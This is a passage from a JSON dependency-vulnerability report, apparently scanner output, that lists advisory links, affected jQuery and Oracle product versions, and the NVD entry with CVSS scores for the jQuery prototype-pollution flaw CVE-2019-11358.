              "url": "http:\/\/seclists.org\/fulldisclosure\/2019\/May\/10"
            },
            {
              "source": "info",
              "url": "https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2015-9251",
              "name": "https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2015-9251"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/www.oracle.com\/technetwork\/security-advisory\/cpujul2019-5072835.html"
            },
            {
              "source": "cve@mitre.org",
              "url": "http:\/\/www.oracle.com\/technetwork\/security-advisory\/cpuoct2018-4428296.html",
              "name": "PATCH"
            },
            {
              "source": "info",
              "url": "https:\/\/bugs.jquery.com\/ticket\/11974",
              "name": "https:\/\/bugs.jquery.com\/ticket\/11974"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/security.netapp.com\/advisory\/ntap-20210108-0004\/"
            },
            {
              "source": "info",
              "url": "http:\/\/research.insecurelabs.org\/jquery\/test\/",
              "name": "http:\/\/research.insecurelabs.org\/jquery\/test\/"
            },
            {
              "source": "info",
              "url": "https:\/\/github.com\/jquery\/jquery\/issues\/2432",
              "name": "https:\/\/github.com\/jquery\/jquery\/issues\/2432"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/www.oracle.com\/security-alerts\/cpuoct2020.html"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/lists.apache.org\/thread.html\/519eb0fd45642dcecd9ff74cb3e71c20a4753f7d82e2f07864b5108f%40%3Cdev.drill.apache.org%3E"
            }
          ],
          "vulnerableSoftware": [
            {
              "software": {
                "id": "cpe:2.3:a:jquery:jquery:*:*:*:*:*:*:*:*",
                "versionEndExcluding": "3.0.0"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:agile_product_lifecycle_management_for_process:6.2.0.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:agile_product_lifecycle_management_for_process:6.2.1.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:agile_product_lifecycle_management_for_process:6.2.2.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:agile_product_lifecycle_management_for_process:6.2.3.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:agile_product_lifecycle_management_for_process:6.2.3.1:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:banking_platform:2.6.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:banking_platform:2.6.1:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:banking_platform:2.6.2:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:business_process_management_suite:11.1.1.9.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:business_process_management_suite:12.1.3.0.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:business_process_management_suite:12.2.1.3.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:communications_converged_application_server:*:*:*:*:*:*:*:*",
                "versionEndExcluding": "7.0.0.1"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:communications_interactive_session_recorder:6.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:communications_interactive_session_recorder:6.1:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:communications_interactive_session_recorder:6.2:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:communications_services_gatekeeper:*:*:*:*:*:*:*:*",
                "versionEndExcluding": "6.1.0.4.0"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:communications_webrtc_session_controller:*:*:*:*:*:*:*:*",
                "versionEndExcluding": "7.2"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:endeca_information_discovery_studio:3.1.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:endeca_information_discovery_studio:3.2.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:enterprise_manager_ops_center:12.2.2:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:enterprise_manager_ops_center:12.3.3:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:enterprise_operations_monitor:3.4:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:enterprise_operations_monitor:4.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:financial_services_analytical_applications_infrastructure:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "7.3.3",
                "versionEndIncluding": "7.3.5"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:financial_services_analytical_applications_infrastructure:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "8.0.0",
                "versionEndIncluding": "8.0.7"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:financial_services_asset_liability_management:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "8.0.4",
                "versionEndIncluding": "8.0.7"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:financial_services_data_integration_hub:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "8.0.5",
                "versionEndIncluding": "8.0.7"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:financial_services_funds_transfer_pricing:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "8.0.4",
                "versionEndIncluding": "8.0.7"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:financial_services_hedge_management_and_ifrs_valuations:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "8.0.4",
                "versionEndIncluding": "8.0.7"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:financial_services_liquidity_risk_management:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "8.0.2",
                "versionEndIncluding": "8.0.6"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:financial_services_loan_loss_forecasting_and_provisioning:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "8.0.2",
                "versionEndIncluding": "8.0.7"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:financial_services_market_risk_measurement_and_management:8.0.5:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:financial_services_market_risk_measurement_and_management:8.0.6:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:financial_services_profitability_management:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "8.0.4",
                "versionEndIncluding": "8.0.6"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:financial_services_reconciliation_framework:8.0.5:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:financial_services_reconciliation_framework:8.0.6:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:fusion_middleware_mapviewer:12.2.1.3.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:healthcare_foundation:7.1:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:healthcare_foundation:7.2:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:healthcare_translational_research:3.1.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:hospitality_cruise_fleet_management:9.0.11:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:hospitality_guest_access:4.2.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:hospitality_guest_access:4.2.1:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:hospitality_materials_control:18.1:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:hospitality_reporting_and_analytics:9.1.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:insurance_insbridge_rating_and_underwriting:5.2:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:insurance_insbridge_rating_and_underwriting:5.4:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:insurance_insbridge_rating_and_underwriting:5.5:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:jd_edwards_enterpriseone_tools:9.2:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:jdeveloper:11.1.1.9.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:jdeveloper:12.1.3.0.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:jdeveloper:12.2.1.3.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:oss_support_tools:19.1:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:peoplesoft_enterprise_peopletools:8.55:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:peoplesoft_enterprise_peopletools:8.56:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:peoplesoft_enterprise_peopletools:8.57:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:primavera_gateway:15.2:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:primavera_gateway:16.2:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:primavera_gateway:17.12:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:primavera_unifier:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "17.1",
                "versionEndIncluding": "17.12"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:primavera_unifier:16.1:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:primavera_unifier:16.2:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:primavera_unifier:18.8:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:real-time_scheduler:2.3.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:retail_allocation:15.0.2:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:retail_customer_insights:15.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:retail_customer_insights:16.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:retail_invoice_matching:15.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:retail_sales_audit:15.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:retail_workforce_management_software:1.60.9:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:retail_workforce_management_software:1.64.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:service_bus:12.1.3.0.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:service_bus:12.2.1.3.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:siebel_ui_framework:18.10:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:siebel_ui_framework:18.11:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:utilities_framework:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "4.3.0.1",
                "versionEndIncluding": "4.3.0.4"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:utilities_mobile_workforce_management:2.3.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:webcenter_sites:11.1.1.8.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:weblogic_server:12.1.3.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:weblogic_server:12.2.1.3:*:*:*:*:*:*:*"
              }
            }
          ]
        },
        {
          "source": "NVD",
          "name": "CVE-2019-11358",
          "severity": "MEDIUM",
          "cvssv2": {
            "score": 4.3,
            "accessVector": "NETWORK",
            "accessComplexity": "MEDIUM",
            "authenticationr": "NONE",
            "confidentialityImpact": "NONE",
            "integrityImpact": "PARTIAL",
            "availabilityImpact": "NONE",
            "severity": "MEDIUM",
            "version": "2.0",
            "exploitabilityScore": "8.6",
            "impactScore": "2.9",
            "userInteractionRequired": "true"
          },
          "cvssv3": {
            "baseScore": 6.1,
            "attackVector": "NETWORK",
            "attackComplexity": "LOW",
            "privilegesRequired": "NONE",
            "userInteraction": "REQUIRED",
            "scope": "CHANGED",
            "confidentialityImpact": "LOW",
            "integrityImpact": "LOW",
            "availabilityImpact": "NONE",
            "baseSeverity": "MEDIUM",
            "exploitabilityScore": "2.8",
            "impactScore": "2.7",
            "version": "3.1"
          },
          "cwes": [
            "CWE-1321"
          ],
          "description": "jQuery before 3.4.0, as used in Drupal, Backdrop CMS, and other products, mishandles jQuery.extend(true, {}, ...) because of Object.prototype pollution. If an unsanitized source object contained an enumerable __proto__ property, it could extend the native Object.prototype.",
          "notes": "",
          "references": [
            {
              "source": "cve@mitre.org",
              "url": "http:\/\/packetstormsecurity.com\/files\/153237\/RetireJS-CORS-Issue-Script-Execution.html",
              "name": "THIRD_PARTY_ADVISORY,VDB_ENTRY"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/lists.debian.org\/debian-lts-announce\/2020\/02\/msg00024.html",
              "name": "MAILING_LIST,THIRD_PARTY_ADVISORY"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/lists.apache.org\/thread.html\/ba79cf1658741e9f146e4c59b50aee56656ea95d841d358d006c18b6%40%3Ccommits.roller.apache.org%3E",
              "name": "ISSUE_TRACKING"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/seclists.org\/bugtraq\/2019\/May\/18",
              "name": "MAILING_LIST,PATCH,THIRD_PARTY_ADVISORY"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/www.oracle.com\/security-alerts\/cpuoct2021.html",
              "name": "PATCH,THIRD_PARTY_ADVISORY"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/www.tenable.com\/security\/tns-2020-02",
              "name": "THIRD_PARTY_ADVISORY"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/www.debian.org\/security\/2019\/dsa-4434",
              "name": "THIRD_PARTY_ADVISORY"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/www.oracle.com\/security-alerts\/cpujul2020.html",
              "name": "PATCH,THIRD_PARTY_ADVISORY"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/www.oracle.com\/security-alerts\/cpujan2020.html",
              "name": "PATCH,THIRD_PARTY_ADVISORY"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/lists.apache.org\/thread.html\/08720ef215ee7ab3386c05a1a90a7d1c852bf0706f176a7816bf65fc%40%3Ccommits.airflow.apache.org%3E",
              "name": "ISSUE_TRACKING"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/lists.apache.org\/thread.html\/6097cdbd6f0a337bedd9bb5cc441b2d525ff002a96531de367e4259f%40%3Ccommits.airflow.apache.org%3E",
              "name": "ISSUE_TRACKING"
            },
            {
              "source": "cve@mitre.org",
              "url": "http:\/\/www.openwall.com\/lists\/oss-security\/2019\/06\/03\/2",
              "name": "MAILING_LIST,PATCH,THIRD_PARTY_ADVISORY"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/www.oracle.com\/security-alerts\/cpuoct2020.html",
              "name": "PATCH,THIRD_PARTY_ADVISORY"
            },
            {
              "source": "cve@mitre.org",
              "url": "http:\/\/seclists.org\/fulldisclosure\/2019\/May\/11",
              "name": "MAILING_LIST,PATCH,THIRD_PARTY_ADVISORY"
            },
            {
              "source": "cve@mitre.org",
              "url": "http:\/\/seclists.org\/fulldisclosure\/2019\/May\/13",
              "name": "MAILING_LIST,PATCH,THIRD_PARTY_ADVISORY"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/github.com\/jquery\/jquery\/commit\/753d591aea698e57d6db58c9f722cd0808619b1b",
              "name": "PATCH,THIRD_PARTY_ADVISORY"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/lists.apache.org\/thread.html\/r7d64895cc4dff84d0becfc572b20c0e4bf9bfa7b10c6f5f73e783734%40%3Cdev.storm.apache.org%3E",
              "name": "ISSUE_TRACKING"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/lists.fedoraproject.org\/archives\/list\/package-announce%40lists.fedoraproject.org\/message\/RLXRX23725JL366CNZGJZ7AQQB7LHQ6F\/",
              "name": "MAILING_LIST,THIRD_PARTY_ADVISORY"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/www.oracle.com\/security-alerts\/cpujan2021.html",
              "name": "PATCH,THIRD_PARTY_ADVISORY"
            },
            {
              "source": "cve@mitre.org",
              "url": "http:\/\/lists.opensuse.org\/opensuse-security-announce\/2019-08\/msg00006.html",
              "name": "MAILING_LIST,THIRD_PARTY_ADVISORY"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/lists.fedoraproject.org\/archives\/list\/package-announce%40lists.fedoraproject.org\/message\/QV3PKZC3PQCO3273HAT76PAQZFBEO4KP\/",
              "name": "MAILING_LIST,THIRD_PARTY_ADVISORY"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/security.netapp.com\/advisory\/ntap-20190919-0001\/",
              "name": "THIRD_PARTY_ADVISORY"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/www.oracle.com\/security-alerts\/cpuApr2021.html",
              "name": "PATCH,THIRD_PARTY_ADVISORY"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/www.oracle.com\/technetwork\/security-advisory\/cpuoct2019-5072832.html",
              "name": "PATCH,THIRD_PARTY_ADVISORY"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/www.oracle.com\/technetwork\/security-advisory\/cpujul2019-5072835.html",
              "name": "PATCH,THIRD_PARTY_ADVISORY"
            },
            {
              "source": "cve@mitre.org",
              "url": "http:\/\/lists.opensuse.org\/opensuse-security-announce\/2019-08\/msg00025.html",
              "name": "MAILING_LIST,THIRD_PARTY_ADVISORY"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/lists.debian.org\/debian-lts-announce\/2019\/05\/msg00029.html",
              "name": "MAILING_LIST,THIRD_PARTY_ADVISORY"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/backdropcms.org\/security\/backdrop-sa-core-2019-009",
              "name": "THIRD_PARTY_ADVISORY"
            },
            {
              "source": "cve@mitre.org",
              "url": "http:\/\/seclists.org\/fulldisclosure\/2019\/May\/10",
              "name": "MAILING_LIST,THIRD_PARTY_ADVISORY"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/lists.fedoraproject.org\/archives\/list\/package-announce%40lists.fedoraproject.org\/message\/4UOAZIFCSZ3ENEFOR5IXX6NFAD3HV7FA\/",
              "name": "MAILING_LIST,THIRD_PARTY_ADVISORY"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/seclists.org\/bugtraq\/2019\/Apr\/32",
              "name": "MAILING_LIST,THIRD_PARTY_ADVISORY"
            },
            {
              "source": "info",
              "url": "https:\/\/blog.jquery.com\/2019\/04\/10\/jquery-3-4-0-released\/",
              "name": "https:\/\/blog.jquery.com\/2019\/04\/10\/jquery-3-4-0-released\/"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/lists.debian.org\/debian-lts-announce\/2023\/08\/msg00040.html",
              "name": "MAILING_LIST,THIRD_PARTY_ADVISORY"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/lists.apache.org\/thread.html\/r7e8ebccb7c022e41295f6fdb7b971209b83702339f872ddd8cf8bf73%40%3Cissues.flink.apache.org%3E",
              "name": "ISSUE_TRACKING"
            },
            {
              "source": "info",
              "url": "https:\/\/github.com\/jquery\/jquery\/commit\/753d591aea698e57d6db58c9f722cd0808619b1b",
              "name": "https:\/\/github.com\/jquery\/jquery\/commit\/753d591aea698e57d6db58c9f722cd0808619b1b"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/lists.apache.org\/thread.html\/rca37935d661f4689cb4119f1b3b224413b22be161b678e6e6ce0c69b%40%3Ccommits.nifi.apache.org%3E",
              "name": "ISSUE_TRACKING"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/lists.apache.org\/thread.html\/r7aac081cbddb6baa24b75e74abf0929bf309b176755a53e3ed810355%40%3Cdev.flink.apache.org%3E",
              "name": "ISSUE_TRACKING"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/snyk.io\/vuln\/SNYK-JS-JQUERY-174006",
              "name": "EXPLOIT,THIRD_PARTY_ADVISORY"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/www.drupal.org\/sa-core-2019-006",
              "name": "PATCH,THIRD_PARTY_ADVISORY"
            },
            {
              "source": "cve@mitre.org",
              "url": "http:\/\/packetstormsecurity.com\/files\/152787\/dotCMS-5.1.1-Vulnerable-Dependencies.html",
              "name": "THIRD_PARTY_ADVISORY,VDB_ENTRY"
            },
            {
              "source": "cve@mitre.org",
              "url": "http:\/\/packetstormsecurity.com\/files\/156743\/OctoberCMS-Insecure-Dependencies.html",
              "name": "THIRD_PARTY_ADVISORY,VDB_ENTRY"
            },
            {
              "source": "cve@mitre.org",
              "url": "http:\/\/www.securityfocus.com\/bid\/108023",
              "name": "BROKEN_LINK,THIRD_PARTY_ADVISORY,VDB_ENTRY"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/lists.apache.org\/thread.html\/r38f0d1aa3c923c22977fe7376508f030f22e22c1379fbb155bf29766%40%3Cdev.syncope.apache.org%3E",
              "name": "ISSUE_TRACKING"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/lists.apache.org\/thread.html\/rac25da84ecdcd36f6de5ad0d255f4e967209bbbebddb285e231da37d%40%3Cissues.flink.apache.org%3E",
              "name": "ISSUE_TRACKING"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/lists.apache.org\/thread.html\/f9bc3e55f4e28d1dcd1a69aae6d53e609a758e34d2869b4d798e13cc%40%3Cissues.drill.apache.org%3E",
              "name": "ISSUE_TRACKING"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/www.synology.com\/security\/advisory\/Synology_SA_19_19",
              "name": "THIRD_PARTY_ADVISORY"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/access.redhat.com\/errata\/RHBA-2019:1570",
              "name": "THIRD_PARTY_ADVISORY"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/lists.fedoraproject.org\/archives\/list\/package-announce%40lists.fedoraproject.org\/message\/KYH3OAGR2RTCHRA5NOKX2TES7SNQMWGO\/",
              "name": "MAILING_LIST,THIRD_PARTY_ADVISORY"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/lists.apache.org\/thread.html\/b736d0784cf02f5a30fbb4c5902762a15ad6d47e17e2c5a17b7d6205%40%3Ccommits.airflow.apache.org%3E",
              "name": "ISSUE_TRACKING"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/seclists.org\/bugtraq\/2019\/Jun\/12",
              "name": "ISSUE_TRACKING,MAILING_LIST,THIRD_PARTY_ADVISORY"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/lists.apache.org\/thread.html\/r2041a75d3fc09dec55adfd95d598b38d22715303f65c997c054844c9%40%3Cissues.flink.apache.org%3E",
              "name": "ISSUE_TRACKING"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/lists.apache.org\/thread.html\/b0656d359c7d40ec9f39c8cc61bca66802ef9a2a12ee199f5b0c1442%40%3Cdev.drill.apache.org%3E",
              "name": "ISSUE_TRACKING"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/access.redhat.com\/errata\/RHSA-2019:3024",
              "name": "THIRD_PARTY_ADVISORY"
            },
            {
              "source": "info",
              "url": "https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2019-11358",
              "name": "https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2019-11358"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/access.redhat.com\/errata\/RHSA-2019:3023",
              "name": "THIRD_PARTY_ADVISORY"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/www.debian.org\/security\/2019\/dsa-4460",
              "name": "THIRD_PARTY_ADVISORY"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/lists.fedoraproject.org\/archives\/list\/package-announce%40lists.fedoraproject.org\/message\/WZW27UCJ5CYFL4KFFFMYMIBNMIU2ALG5\/",
              "name": "MAILING_LIST,THIRD_PARTY_ADVISORY"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/www.tenable.com\/security\/tns-2019-08",
              "name": "THIRD_PARTY_ADVISORY"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/lists.apache.org\/thread.html\/bcce5a9c532b386c68dab2f6b3ce8b0cc9b950ec551766e76391caa3%40%3Ccommits.nifi.apache.org%3E",
              "name": "ISSUE_TRACKING"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/lists.apache.org\/thread.html\/88fb0362fd40e5b605ea8149f63241537b8b6fb5bfa315391fc5cbb7%40%3Ccommits.airflow.apache.org%3E",
              "name": "ISSUE_TRACKING"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/www.oracle.com\/\/security-alerts\/cpujul2021.html",
              "name": "PATCH,THIRD_PARTY_ADVISORY"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/www.oracle.com\/security-alerts\/cpuapr2020.html",
              "name": "PATCH,THIRD_PARTY_ADVISORY"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/supportportal.juniper.net\/s\/article\/2021-07-Security-Bulletin-Junos-OS-Multiple-J-Web-vulnerabilities-resolved-in-Junos-OS-21-2R1",
              "name": "THIRD_PARTY_ADVISORY"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/www.privacy-wise.com\/mitigating-cve-2019-11358-in-old-versions-of-jquery\/",
              "name": "PATCH,THIRD_PARTY_ADVISORY"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/blog.jquery.com\/2019\/04\/10\/jquery-3-4-0-released\/",
              "name": "RELEASE_NOTES,VENDOR_ADVISORY"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/lists.apache.org\/thread.html\/5928aa293e39d248266472210c50f176cac1535220f2486e6a7fa844%40%3Ccommits.airflow.apache.org%3E",
              "name": "ISSUE_TRACKING"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/lists.debian.org\/debian-lts-announce\/2019\/05\/msg00006.html",
              "name": "MAILING_LIST,THIRD_PARTY_ADVISORY"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/github.com\/jquery\/jquery\/pull\/4333",
              "name": "PATCH,THIRD_PARTY_ADVISORY"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/lists.fedoraproject.org\/archives\/list\/package-announce%40lists.fedoraproject.org\/message\/5IABSKTYZ5JUGL735UKGXL5YPRYOPUYI\/",
              "name": "MAILING_LIST,THIRD_PARTY_ADVISORY"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/kb.pulsesecure.net\/articles\/Pulse_Security_Advisories\/SA44601",
              "name": "THIRD_PARTY_ADVISORY"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/lists.apache.org\/thread.html\/r41b5bfe009c845f67d4f68948cc9419ac2d62e287804aafd72892b08%40%3Cissues.flink.apache.org%3E",
              "name": "ISSUE_TRACKING"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/access.redhat.com\/errata\/RHSA-2019:1456",
              "name": "THIRD_PARTY_ADVISORY"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/access.redhat.com\/errata\/RHSA-2019:2587",
              "name": "THIRD_PARTY_ADVISORY"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/www.oracle.com\/security-alerts\/cpujan2022.html",
              "name": "PATCH,THIRD_PARTY_ADVISORY"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/lists.apache.org\/thread.html\/r2baacab6e0acb5a2092eb46ae04fd6c3e8277b4fd79b1ffb7f3254fa%40%3Cissues.flink.apache.org%3E",
